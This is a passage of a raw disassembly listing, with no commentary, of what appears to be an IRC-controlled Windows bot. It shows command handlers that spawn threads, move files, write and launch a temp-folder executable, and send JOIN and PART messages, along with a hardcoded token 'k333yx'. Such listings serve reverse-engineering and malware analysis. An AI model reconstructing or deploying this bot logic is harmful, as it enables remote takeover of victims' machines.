[ebp+arg_0] cmp eax, ebx jz short loc_407059 cmp byte ptr [eax], 23h jnz short loc_407059 push eax jmp short loc_407038 ; --------------------------------------------------------------------------- loc_407059: ; CODE XREF: sub_401CC1+538Ej ; sub_401CC1+5393j mov esi, offset aXx_0 ; "#xx#" push offset dword_4E076C push esi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_407037 mov [ebp+var_3F4], bl loc_407075: ; CODE XREF: sub_401CC1+5387j cmp [ebp+var_344], ebx mov eax, offset aRandom_1 ; "Random" jnz short loc_407087 mov eax, offset aSequential_0 ; "Sequential" loc_407087: ; CODE XREF: sub_401CC1+53BFj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_4443AC push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40A7FD add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40BC04 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_407115 loc_4070FF: ; CODE XREF: sub_401CC1+5452j cmp [ebp+var_340], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_4070FF ; --------------------------------------------------------------------------- loc_407115: ; CODE XREF: sub_401CC1+543Cj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_444414 jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_407126: ; CODE XREF: sub_401CC1+472Bj ; sub_401CC1+4742j push edi call sub_409EFD push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41B3F0 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B3F0 push [ebp+arg_1C] mov [ebp+var_4EC], eax call sub_41B3F0 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B1F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4E0928 push eax lea eax, [ebp+var_2C0] push offset unk_444258 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40A7FD add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40C021 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40721B loc_407205: ; CODE XREF: sub_401CC1+5558j cmp [ebp+var_4D0], ebx jnz loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_407205 ; --------------------------------------------------------------------------- loc_40721B: ; CODE XREF: sub_401CC1+5542j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4442A8 jmp loc_403ABD ; --------------------------------------------------------------------------- loc_40722C: ; CODE XREF: sub_401CC1+46EEj ; sub_401CC1+4705j push edi call sub_41B3F0 imul eax, 234h pop ecx cmp byte_4537E0[eax], bl jz loc_408CA1 cmp [ebp+var_C], ebx jz loc_408CA1 push [ebp+arg_18] call sub_418D00 push edi mov esi, eax call sub_418D00 push [ebp+arg_10] add esi, eax call sub_418D00 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B890 mov esi, eax lea eax, [ebp+var_2C0] push esi push offset dword_44422C push eax call sub_41B740 add esp, 20h cmp esi, ebx jz loc_408CA1 push edi call sub_41B3F0 test eax, eax pop ecx jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 push ebx lea eax, [ebp+var_2C0] push ebx push eax push [ebp+arg_18] push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408EB9 push edi call sub_41B3F0 imul eax, 234h add esp, 18h cmp byte ptr dword_4535C8[eax], 73h jnz loc_408CA1 push esi push edi call sub_41B3F0 imul eax, 234h pop ecx add eax, offset byte_4537E0 push eax push [ebp+arg_18] push offset dword_444238 loc_407314: ; CODE XREF: sub_401CC1+574Dj lea eax, [ebp+var_2C0] push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 jmp loc_403DD2 ; --------------------------------------------------------------------------- loc_40733E: ; CODE XREF: sub_401CC1+46C0j ; sub_401CC1+46D7j push edi call sub_41B3F0 imul eax, 234h pop ecx cmp byte_4537E0[eax], bl jz loc_408CA1 cmp [ebp+var_C], ebx jz loc_408CA1 push [ebp+arg_18] call sub_418D00 push edi mov esi, eax call sub_418D00 push [ebp+arg_10] add esi, eax call sub_418D00 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B890 mov esi, eax add esp, 14h cmp esi, ebx jz loc_408CA1 push edi call sub_41B3F0 test eax, eax pop ecx jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408EB9 push edi call sub_41B3F0 imul eax, 234h add esp, 18h cmp byte ptr dword_4535C8[eax], 73h jnz loc_408CA1 push esi push edi call sub_41B3F0 imul eax, 234h pop ecx add eax, offset byte_4537E0 push eax push [ebp+arg_18] push offset aSSS ; "[%s] <%s> %s" jmp loc_407314 ; --------------------------------------------------------------------------- loc_407413: ; CODE XREF: sub_401CC1+4692j ; sub_401CC1+46A9j push edi call dword_4E08DC push [ebp+arg_18] mov [ebp+var_680], eax call sub_41B3F0 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B3F0 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B1F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4E0928 push eax lea eax, [ebp+var_2C0] push offset unk_444184 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40A7FD add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40BF30 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4074F5 loc_4074DF: ; CODE XREF: sub_401CC1+5832j cmp [ebp+var_670], ebx jnz loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_4074DF ; --------------------------------------------------------------------------- loc_4074F5: ; CODE XREF: sub_401CC1+581Cj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4441C0 jmp loc_403ABD ; --------------------------------------------------------------------------- loc_407506: ; CODE XREF: sub_401CC1+4664j ; sub_401CC1+467Bj push edi call sub_41B3F0 push 7Fh mov [ebp+var_ED8], eax push [ebp+arg_18] lea eax, [ebp+var_FDC] push eax call sub_41B1F0 push [ebp+arg_0] call sub_41B3F0 push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_EDC], eax lea eax, [ebp+var_F5C] push 80h push eax mov [ebp+var_FE4], esi call sub_41B910 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_EC8], eax push [ebp+var_EDC] lea eax, [ebp+var_FDC] mov [ebp+var_ECC], edi push eax push [ebp+var_ED8] push esi call sub_40A019 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_4440F8 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 18h push eax call sub_40A7FD add esp, 24h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FE4] push ebx push eax push offset sub_40FEBC push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4075EF loc_4075D9: ; CODE XREF: sub_401CC1+592Cj cmp [ebp+var_EC4], ebx jnz loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_4075D9 ; --------------------------------------------------------------------------- loc_4075EF: ; CODE XREF: sub_401CC1+5916j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_444134 jmp loc_403ABD ; --------------------------------------------------------------------------- loc_407600: ; CODE XREF: sub_401CC1+4636j ; sub_401CC1+464Dj push 0FFh lea eax, [ebp+var_2128] push edi push eax call sub_41B1F0 push 0FFh lea eax, [ebp+var_2028] push [ebp+arg_18] push eax call sub_41B1F0 push [ebp+arg_0] mov [ebp+var_1F24], ebx call sub_41B3F0 mov [ebp+var_1F20], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407659 push 10h push ebx push eax call sub_41C130 add esp, 0Ch mov [ebp+var_1F18], eax jmp short loc_40765F ; --------------------------------------------------------------------------- loc_407659: ; CODE XREF: sub_401CC1+5982j mov [ebp+var_1F18], ebx loc_40765F: ; CODE XREF: sub_401CC1+5996j mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407676 push esi call sub_41B3F0 pop ecx mov [ebp+var_1F1C], eax jmp short loc_40767C ; --------------------------------------------------------------------------- loc_407676: ; CODE XREF: sub_401CC1+59A4j mov [ebp+var_1F1C], ebx loc_40767C: ; CODE XREF: sub_401CC1+59B3j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_1F14], eax lea eax, [ebp+var_21A8] mov [ebp+var_21AC], esi push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_1F0C], eax mov eax, [ebp+var_8] mov [ebp+var_1F10], eax push edi lea eax, [ebp+var_2C0] push offset unk_44407C push eax call sub_41B740 push esi lea eax, [ebp+var_2C0] push 1Dh push eax call sub_40A7FD add esp, 28h mov [ebp+var_1F28], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_21AC] push ebx push eax push offset sub_414A1D push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1F28] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40772A loc_407714: ; CODE XREF: sub_401CC1+5A67j cmp [ebp+var_1F08], ebx jnz loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_407714 ; --------------------------------------------------------------------------- loc_40772A: ; CODE XREF: sub_401CC1+5A51j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4440A8 jmp loc_406C1F ; --------------------------------------------------------------------------- loc_40773B: ; CODE XREF: sub_401CC1+4608j ; sub_401CC1+461Fj push 7Fh lea eax, [ebp+var_2DA0] pop esi push esi push edi push eax call sub_41B1F0 push esi lea eax, [ebp+var_2D20] push [ebp+arg_18] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2CA0] push [ebp+arg_0] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2C20] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2B9C], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2B98], eax lea eax, [ebp+var_2C0] push edi push offset unk_443FF8 push eax mov [ebp+var_2DA4], esi call sub_41B740 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 12h push eax call sub_40A7FD add esp, 0Ch mov [ebp+var_2BA0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2DA4] push ebx push eax push offset sub_413E60 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_2BA0] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_407812 loc_4077FC: ; CODE XREF: sub_401CC1+5B4Fj cmp [ebp+var_2B94], ebx jnz loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_4077FC ; --------------------------------------------------------------------------- loc_407812: ; CODE XREF: sub_401CC1+5B39j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_444034 jmp loc_406C1F ; --------------------------------------------------------------------------- loc_407823: ; CODE XREF: sub_401CC1+44DBj ; sub_401CC1+44F2j push 7Fh lea eax, [ebp+var_2B8C] pop esi push esi push edi push eax call sub_41B1F0 push esi lea eax, [ebp+var_2B0C] push [ebp+arg_18] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2A8C] push [ebp+arg_0] push eax call sub_41B1F0 push esi lea eax, [ebp+var_2A0C] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_2988], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2984], eax lea eax, [ebp+var_2C0] push edi push offset unk_443F08 push eax mov [ebp+var_2B90], esi call sub_41B740 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 0Eh push eax call sub_40A7FD add esp, 0Ch mov [ebp+var_298C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2B90] push ebx push eax push offset sub_412B9A push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_298C] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4078FA loc_4078E4: ; CODE XREF: sub_401CC1+5C37j cmp [ebp+var_2980], ebx jnz loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_4078E4 ; --------------------------------------------------------------------------- loc_4078FA: ; CODE XREF: sub_401CC1+5C21j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443F38 jmp loc_406C1F ; --------------------------------------------------------------------------- loc_40790B: ; CODE XREF: sub_401CC1+43B2j ; sub_401CC1+43C9j ... push 7Fh lea eax, [ebp+var_33E0] pop esi push esi push edi push eax call sub_41B1F0 push esi lea eax, [ebp+var_3360] push [ebp+arg_18] push eax call sub_41B1F0 push esi lea eax, [ebp+var_32E0] push [ebp+arg_0] push eax call sub_41B1F0 push esi lea eax, [ebp+var_3260] push [ebp+var_88] push eax call sub_41B1F0 push 20h lea eax, [ebp+var_31E0] push [ebp+arg_10] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_3160], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_315C], eax lea eax, [ebp+var_2C0] push edi push offset unk_443E4C push eax mov [ebp+var_33E8], esi call sub_41B740 add esp, 50h lea eax, [ebp+var_2C0] push ebx push 0Dh push eax call sub_40A7FD add esp, 0Ch mov [ebp+var_33E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_33E8] push ebx push eax push offset sub_411E27 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_33E4] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4079F3 loc_4079DD: ; CODE XREF: sub_401CC1+5D30j cmp [ebp+var_3158], ebx jnz loc_406C2E push 32h call dword_4F1334 ; Sleep jmp short loc_4079DD ; --------------------------------------------------------------------------- loc_4079F3: ; CODE XREF: sub_401CC1+5D1Aj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443E7C jmp loc_406C1F ; --------------------------------------------------------------------------- loc_407A04: ; CODE XREF: sub_401CC1+4384j ; sub_401CC1+439Bj push 7Fh lea eax, [ebp+var_1524] push edi push eax call sub_41B1F0 push [ebp+arg_18] call sub_41B3F0 push 3Fh mov [ebp+var_13D4], eax push [ebp+arg_0] lea eax, [ebp+var_14A4] push eax call sub_41B1F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407A4F push 3Fh lea eax, [ebp+var_1464] push esi push eax call sub_41B1F0 add esp, 0Ch loc_407A4F: ; CODE XREF: sub_401CC1+5D7Aj lea eax, [ebp+var_14A4] mov [ebp+var_13D0], 1 push eax lea eax, [ebp+var_1524] push [ebp+var_13D4] push eax lea eax, [ebp+var_2C0] push offset dword_443DC8 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 1Fh push eax call sub_40A7FD add esp, 20h mov [ebp+var_13CC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1528] push ebx push eax push offset sub_4019E1 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_13CC] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_407ADB loc_407AC5: ; CODE XREF: sub_401CC1+5E18j cmp [ebp+var_13C8], ebx jnz loc_406693 push 32h call dword_4F1334 ; Sleep jmp short loc_407AC5 ; --------------------------------------------------------------------------- loc_407ADB: ; CODE XREF: sub_401CC1+5E02j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_443DF8 jmp loc_406684 ; --------------------------------------------------------------------------- loc_407AEC: ; CODE XREF: sub_401CC1+4344j ; sub_401CC1+435Bj push [ebp+arg_18] call sub_41B3F0 cmp eax, ebx pop ecx mov [ebp+var_17A8], eax jle loc_407BD9 mov esi, 80h push edi lea eax, [ebp+var_1930] push esi push eax call sub_41B910 xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_17A4], eax mov eax, [ebp+arg_4] mov [ebp+var_1934], eax lea eax, [ebp+var_1830] push esi push eax call sub_41B910 mov eax, [ebp+var_4] push [ebp+arg_18] mov [ebp+var_17A0], eax mov eax, [ebp+var_8] mov [ebp+var_179C], eax push edi push offset unk_443D20 lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 push ebx lea eax, [ebp+var_2C0] push 15h push eax call sub_40A7FD add esp, 38h mov [ebp+var_17B0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1934] push ebx push eax push offset sub_41226E push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_17B0] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_407BC8 loc_407BB6: ; CODE XREF: sub_401CC1+5F05j cmp [ebp+var_1798], ebx jnz short loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_407BB6 ; --------------------------------------------------------------------------- loc_407BC8: ; CODE XREF: sub_401CC1+5EF3j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443D4C jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_407BD9: ; CODE XREF: sub_401CC1+5E3Cj push offset unk_443D84 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_407BE3: ; CODE XREF: sub_401CC1+4316j ; sub_401CC1+432Dj push [ebp+arg_18] push edi call dword_4F1370 ; MoveFileA test eax, eax jz short loc_407C10 push [ebp+arg_18] lea eax, [ebp+var_2C0] push edi push offset unk_443CDC push 200h push eax call sub_41B910 loc_407C0B: ; CODE XREF: sub_401CC1+213Bj add esp, 14h jmp short loc_407C2F ; --------------------------------------------------------------------------- loc_407C10: ; CODE XREF: sub_401CC1+5F2Ej push offset dword_443D00 call sub_415ECC push eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41B910 add esp, 10h loc_407C2F: ; CODE XREF: sub_401CC1+1C6Ej ; sub_401CC1+291Aj ... cmp [ebp+var_8], ebx jnz short loc_407C50 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_407C48: ; CODE XREF: sub_401CC1+4F88j call sub_408EB9 add esp, 14h loc_407C50: ; CODE XREF: sub_401CC1+1375j ; sub_401CC1+1E0Ej ... push 1 pop esi jmp loc_4066B7 ; --------------------------------------------------------------------------- loc_407C58: ; CODE XREF: sub_401CC1+42E8j ; sub_401CC1+42FFj push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B190 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41B3F0 add esp, 10h cmp eax, esi jnz short loc_407C95 mov [ebp+var_638], 5 loc_407C95: ; CODE XREF: sub_401CC1+5FC9j cmp [ebp+var_C], ebx jz loc_406693 push [ebp+arg_18] push [ebp+var_C] call sub_41B890 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406693 lea eax, [ebp+var_C84] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_4F1328 ; CreateProcessA test eax, eax jnz short loc_407CE0 push offset unk_443C90 jmp loc_407E61 ; --------------------------------------------------------------------------- loc_407CE0: ; CODE XREF: sub_401CC1+6013j push edi push offset dword_443CB4 jmp loc_406684 ; --------------------------------------------------------------------------- loc_407CEB: ; CODE XREF: sub_401CC1+42BAj ; sub_401CC1+42D1j push [ebp+arg_18] push offset aK333yx ; "k333yx" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_407E5C lea eax, [ebp+var_4454] push eax push 104h call dword_4F136C ; GetTempPathA push 0FFh lea eax, [ebp+var_1E80] push edi push eax call sub_41B1F0 lea eax, [ebp+var_157C] push eax call sub_40A1DC push eax lea eax, [ebp+var_4454] push eax lea eax, [ebp+var_1D80] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B740 mov eax, [ebp+esi+var_84] add esp, 20h cmp eax, ebx mov [ebp+var_1C7C], 1 mov [ebp+var_1C78], ebx jz short loc_407D7D push 10h push ebx push eax call sub_41C130 add esp, 0Ch mov [ebp+var_1C70], eax jmp short loc_407D83 ; --------------------------------------------------------------------------- loc_407D7D: ; CODE XREF: sub_401CC1+60A6j mov [ebp+var_1C70], ebx loc_407D83: ; CODE XREF: sub_401CC1+60BAj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_407D9A push esi call sub_41B3F0 pop ecx mov [ebp+var_1C74], eax jmp short loc_407DA0 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401CC1+60C8j mov [ebp+var_1C74], ebx loc_407DA0: ; CODE XREF: sub_401CC1+60D7j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_1C6C], eax lea eax, [ebp+var_1F00] mov [ebp+var_1F04], esi push eax call sub_41B1F0 mov eax, [ebp+var_4] push edi mov [ebp+var_1C64], eax mov eax, [ebp+var_8] mov [ebp+var_1C68], eax lea eax, [ebp+var_2C0] push offset dword_443BD4 push eax call sub_41B740 push esi lea eax, [ebp+var_2C0] push 1Eh push eax call sub_40A7FD add esp, 24h mov [ebp+var_1C80], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1F04] push ebx push eax push offset sub_414A1D push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1C80] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_407E4B loc_407E35: ; CODE XREF: sub_401CC1+6188j cmp [ebp+var_1C60], ebx jnz loc_406693 push 32h call dword_4F1334 ; Sleep jmp short loc_407E35 ; --------------------------------------------------------------------------- loc_407E4B: ; CODE XREF: sub_401CC1+6172j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_443C00 jmp loc_406684 ; --------------------------------------------------------------------------- loc_407E5C: ; CODE XREF: sub_401CC1+603Bj push offset dword_443C3C loc_407E61: ; CODE XREF: sub_401CC1+28D0j ; sub_401CC1+3CF7j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 pop ecx pop ecx jmp loc_406693 ; --------------------------------------------------------------------------- loc_407E74: ; CODE XREF: sub_401CC1+428Cj ; sub_401CC1+42A3j push [ebp+var_8C] push offset a332_0 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40207C cmp [ebp+var_C], ebx jz loc_40207C push [ebp+arg_18] push [ebp+var_C] call sub_41B890 push eax lea eax, [ebp+var_2C0] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41B1F0 push edi call sub_41B3F0 add esp, 30h test eax, eax jle short loc_407EFB push edi call sub_41B3F0 imul eax, 3E8h pop ecx push eax call dword_4F1334 ; Sleep loc_407EFB: ; CODE XREF: sub_401CC1+6224j push offset dword_443BA4 call sub_41458A mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40207F ; --------------------------------------------------------------------------- loc_407F0F: ; CODE XREF: sub_401CC1+425Ej ; sub_401CC1+4275j push [ebp+var_8C] push offset a332_1 ; "332" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40207C cmp [ebp+var_C], ebx jz loc_408CA1 push [ebp+arg_18] push [ebp+var_C] call sub_41B890 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat_0 ; "repeat" push eax call sub_41C4C0 add esp, 10h test eax, eax push esi jz short loc_407FCB push [ebp+var_88] lea eax, [ebp+var_2C0] push [ebp+var_8C] push [ebp+var_90] push offset aSSSS_0 ; "%s %s %s :%s" push eax call sub_41B740 lea eax, [ebp+var_2C0] push 1FFh push eax push [ebp+arg_0] call sub_41B1F0 push esi lea eax, [ebp+var_2C0] push offset dword_443B38 push eax call sub_41B740 lea eax, [ebp+var_2C0] push eax call sub_41458A push edi call sub_41B3F0 add esp, 38h test eax, eax jle loc_408CA1 push edi call sub_41B3F0 add eax, [ebp+arg_24] pop ecx jmp loc_40207F ; --------------------------------------------------------------------------- loc_407FCB: ; CODE XREF: sub_401CC1+6293j lea eax, [ebp+var_2C0] push offset unk_443B50 push eax call sub_41B740 add esp, 0Ch jmp loc_408772 ; --------------------------------------------------------------------------- loc_407FE4: ; CODE XREF: sub_401CC1+4230j ; sub_401CC1+4247j push 7Fh lea eax, [ebp+var_1C58] push edi push eax call sub_41B1F0 push 7Fh lea eax, [ebp+var_1BD8] push [ebp+arg_18] push eax call sub_41B1F0 push 7Fh lea eax, [ebp+var_1B58] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_1AD4], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1AD0], eax lea eax, [ebp+var_2C0] push offset unk_443AA0 push eax mov [ebp+var_1C5C], esi call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 0Fh push eax call sub_40A7FD add esp, 40h mov [ebp+var_1AD8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C5C] push ebx push eax push offset sub_413794 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1AD8] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4080A1 loc_40808F: ; CODE XREF: sub_401CC1+63DEj cmp [ebp+var_1ACC], ebx jnz short loc_4080BC push 32h call dword_4F1334 ; Sleep jmp short loc_40808F ; --------------------------------------------------------------------------- loc_4080A1: ; CODE XREF: sub_401CC1+63CCj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_443AD4 loc_4080AD: ; CODE XREF: sub_401CC1+64E8j lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch loc_4080BC: ; CODE XREF: sub_401CC1+63D4j ; sub_401CC1+64CCj cmp [ebp+var_8], ebx jnz loc_408AA8 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_408AA0 ; --------------------------------------------------------------------------- loc_4080DC: ; CODE XREF: sub_401CC1+4202j ; sub_401CC1+4219j push 7Fh lea eax, [ebp+var_1AC4] push edi push eax call sub_41B1F0 push 7Fh lea eax, [ebp+var_1A44] push [ebp+arg_18] push eax call sub_41B1F0 push 7Fh lea eax, [ebp+var_19C4] push [ebp+var_88] push eax call sub_41B1F0 mov eax, [ebp+var_4] push [ebp+arg_18] mov esi, [ebp+arg_4] mov [ebp+var_1940], eax mov eax, [ebp+var_8] push edi mov [ebp+var_193C], eax lea eax, [ebp+var_2C0] push offset dword_443A2C push eax mov [ebp+var_1AC8], esi call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 11h push eax call sub_40A7FD add esp, 40h mov [ebp+var_1944], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1AC8] push ebx push eax push offset sub_412F42 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_1944] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40819D loc_408187: ; CODE XREF: sub_401CC1+64DAj cmp [ebp+var_1938], ebx jnz loc_4080BC push 32h call dword_4F1334 ; Sleep jmp short loc_408187 ; --------------------------------------------------------------------------- loc_40819D: ; CODE XREF: sub_401CC1+64C4j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset dword_443A58 jmp loc_4080AD ; --------------------------------------------------------------------------- loc_4081AE: ; CODE XREF: sub_401CC1+41D4j ; sub_401CC1+41EBj push [ebp+arg_18] lea eax, [ebp+var_2C0] push offset aPartS_0 ; "PART %s" push eax call sub_41B740 push edi call sub_41B3F0 add esp, 10h test eax, eax jle loc_408CA1 push edi call sub_41B3F0 cmp eax, 400h pop ecx jge loc_408CA1 lea eax, [ebp+var_2C0] push eax push offset aS_12 ; "%s\r\n" loc_4081F1: ; CODE XREF: sub_401CC1+6597j ; sub_401CC1+6CDEj push edi call sub_41B3F0 imul eax, 234h pop ecx push dword_4537D4[eax] call sub_408E73 jmp loc_404584 ; --------------------------------------------------------------------------- loc_40820E: ; CODE XREF: sub_401CC1+41A6j ; sub_401CC1+41BDj push [ebp+esi+var_84] lea eax, [ebp+var_2C0] push [ebp+arg_18] push offset aJoinSS_1 ; "JOIN %s %s" push eax call sub_41B740 push edi call sub_41B3F0 add esp, 